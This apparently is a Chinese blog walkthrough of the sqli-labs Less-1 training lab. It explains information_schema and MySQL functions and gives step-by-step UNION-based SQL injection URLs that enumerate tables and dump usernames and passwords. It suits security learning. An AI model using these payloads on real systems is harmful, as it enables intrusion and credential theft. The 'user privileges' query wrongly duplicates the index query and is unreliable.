sqli-labs-master less-1 详解

目录

关于MySQL的一些常识

information_schema

常用的函数

[sqli-labs-master less-1](#sqli-labs-master less-1)

分析PHP源码

测试


关于MySQL的一些常识

information_schema

** information_schema**是 MySQL 数据库中的一个元数据(metadata)数据库,它包含了关于数据库、表、列、索引、权限等信息的元数据。

通过在SQL注入攻击中利用 information_schema,可以执行诸如以下操作:

#获取数据库名
SELECT schema_name FROM information_schema.schemata;

#获取数据库中的表名
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';

#获取指定表中的列名和数据类型
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'table_name' AND table_schema = 'database_name';

#获取指定表的索引信息
SELECT index_name, column_name FROM information_schema.statistics WHERE table_name = 'table_name' AND table_schema = 'database_name';

#获取当前用户的权限信息
SELECT index_name, column_name FROM information_schema.statistics WHERE table_name = 'table_name' AND table_schema = 'database_name';

#获取存储过程和函数信息
SELECT routine_name, routine_type FROM information_schema.routines WHERE routine_schema = 'database_name';

常用的函数

UNION SELECT: 用于将两个或多个SELECT语句的结果组合成一个结果集。

SELECT INTO OUTFILE: 将查询结果写入文件中。

LOAD_FILE(): 从文件系统中加载文件内容到查询结果中。

CONCAT(): 用于连接字符串。

SUBSTRING(): 用于提取字符串的子串。

GROUP_CONCAT(): 用于将查询结果中的多个值连接成一个字符串。

VERSION(): 返回MySQL服务器的版本信息。

DATABASE(): 返回当前数据库的名称。

USER(): 返回当前MySQL用户的用户名和主机信息。

PASSWORD(): 用于加密密码。

SLEEP(): 用于使查询暂停指定的时间。

BENCHMARK(): 用于执行基准测试。

IF(): 用于条件判断。

EXISTS(): 用于检查子查询是否返回结果。

ORDER BY: 用于对查询结果进行排序。

sqli-labs-master less-1

less-1有一个基于错误的字符串(Error Based String)漏洞。

这里提示我们输入id作为参数

分析PHP源码

在当前页面的PHP源码中可以看到,存在一行代码 " id=_GET['id']; "这行代码将从URL参数中获取的"id"值直接赋给变量$id,而没有对其进行任何过滤或转义。这导致了SQL注入漏洞的出现,可以通过在"id"参数中插入恶意的SQL代码来执行任意的数据库操作。

还有 " sql="SELECT \* FROM users WHERE id='id' LIMIT 0,1"; " 将id变量插入到SQL查询中,但没有对其进行任何过滤或转义,可以通过id参数执行任意的数据库操作,而不受限于原始查询的意图。

测试

这里我们在url中传参,可以看到,后端返回成功了

然后我们根据 **sql="SELECT \* FROM users WHERE id='id' LIMIT 0,1";**来构造查询语句

首先用 单引号 ' 闭合'$id' 可以看到报错了,我们闭合成功了。

这里补充一下MySQL注释的三种方法: /* */ # --

联合查询 的前提是,两张表的列数相同,所以我们先表的判断列数

联合查询前面条件为假,才会接着进行查询

这里猜列数,建议用二分查找的方法可以快速确定目标数字。我们使用order by用于对查询结果进行排序。用以确定列数

这里 我们构造语句 可以看到 有三个值

http://localhost/sqli/Less-1/?id=-1'union select 1,2,3 --+

# url编码后如下

http://localhost/sqli/Less-1/?id=-1%27union%20select%201,2,3%20--+
#有三个值 username password 可以看到,2,3 的结果会被展示出来

localhost/sqli/Less-1/index.php/?id=-1'union select 1,2,3--+

这里 我们将2改为version() 查询数据库的版本

查找当前所处库的库名

查找当前登录的用户

接下来找"security" 的所有表名 理论上用户名和密码在users表中

localhost/sqli/Less-1/index.php/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

理论上用户名和密码在users表中,接下来我们看users表中的字段 可以看到username和password

localhost/sqli/Less-1/index.php/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

接下来获取username和password字段的内容 第二个字段可以用一些字母或数字隔开

http://localhost/sqli/Less-1/index.php/?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
相关推荐
shenghuiping200112 天前
SQLmap 自动注入 -02
mysql·web·sql注入·sqlmap
一只淡水鱼661 个月前
【mybatis】详解 # 和 $ 的区别,两者分别适用于哪种场景,使用 $ 不当会造成什么影响
sql·spring·mybatis·sql注入
独行soc1 个月前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍11基于XML的SQL注入(XML-Based SQL Injection)
数据库·安全·web安全·漏洞挖掘·sql注入·hw·xml注入
独行soc1 个月前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍10基于文件操作的SQL注入(File-Based SQL Injection)
数据库·安全·web安全·漏洞挖掘·sql注入·hw
摸鱼也很难2 个月前
小迪安全笔记 第四十四天 sql盲注 && 实战利用sql盲注 进行漏洞的利用
笔记·sql·安全·sql注入·盲注
摸鱼也很难2 个月前
小迪安全第四十二天笔记 简单的mysql注入 && mysql的基础知识 用户管理数据库模式 && mysql 写入与读取 && 跨库查询
笔记·安全·web安全·sql注入·pikachu
风飘红技术中心3 个月前
2024-网鼎杯第二次模拟练习-web02
sql·web·ctf·sql注入·网鼎杯
ccc_9wy3 个月前
sql-labs靶场第十六关测试报告
数据库·sql·web安全·网络安全·sql注入·sqlmap·盲注
ccc_9wy3 个月前
sql-labs靶场第十五关测试报告
数据库·sql·web安全·网络安全·sql注入·sqlmap·布尔盲注
ccc_9wy3 个月前
sql-labs靶场第十四关测试报告
数据库·sql·web安全·网络安全·sql注入·sqlmap·报错注入